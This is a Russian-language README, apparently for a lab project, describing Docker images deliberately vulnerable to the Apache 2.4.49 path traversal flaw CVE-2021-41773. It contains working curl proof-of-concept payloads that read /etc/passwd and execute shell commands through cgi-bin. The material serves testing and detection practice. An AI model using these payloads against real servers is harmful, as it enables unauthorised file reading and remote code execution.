Exploit for CVE-2021-41773S

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MIGHTYSAI1997-CVE-2021-41773S
# Уязвимые Docker-образы для CVE-2021-41773 Apache path traversal

Эта уязвимость _применима только_ к версии 2.4.49 с определёнными нестандартными конфигурациями. В определённых ситуациях это может привести либо к чтению файлов, либо к выполнению кода.

![tweet](https://assets.kitploit.com/production/public/readmes/29267/571f99fc8be81ecc146c96c36d6a55f9153253c83f3b5c31aa91c150bb4e3208.png) https://twitter.com/ptswarm/status/1445376079548624899

## Конфигурация, уязвимая для чтения файлов

Контейнеры можно загрузить напрямую из Docker Hub с помощью

`docker pull blueteamsteve/cve-2021-41773:no-cgid`

и запустить, используя

`docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid`

Журналы Apache можно просмотреть с помощью команды ниже, либо просто уберите "-dit" из команды запуска выше, чтобы выводить stdout в потоковом режиме `docker logs <container-id>`

### PoC для чтения файлов

`curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd`

## Конфигурация, уязвимая для RCE

Контейнеры можно загрузить напрямую из Docker Hub с помощью

`docker pull blueteamsteve/cve-2021-41773:with-cgid`

и запустить, используя

`docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:with-cgid`

Журналы Apache можно просмотреть с помощью команды ниже, либо просто уберите "-dit" из команды запуска выше, чтобы выводить stdout в потоковом режиме `docker logs <container-id>`

### PoC для RCE

`curl 'localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'A=|echo;id'`

## Создание собственных Docker-контейнеров

Изменяйте и собирайте собственные версии, используя dockerfile и шаблоны файлов httpd.conf в подкаталогах

  * Используйте ./no-cgi для конфигурации, уязвимой для чтения файлов
  * Используйте ./with-cgi для конфигурации, уязвимой для выполнения кода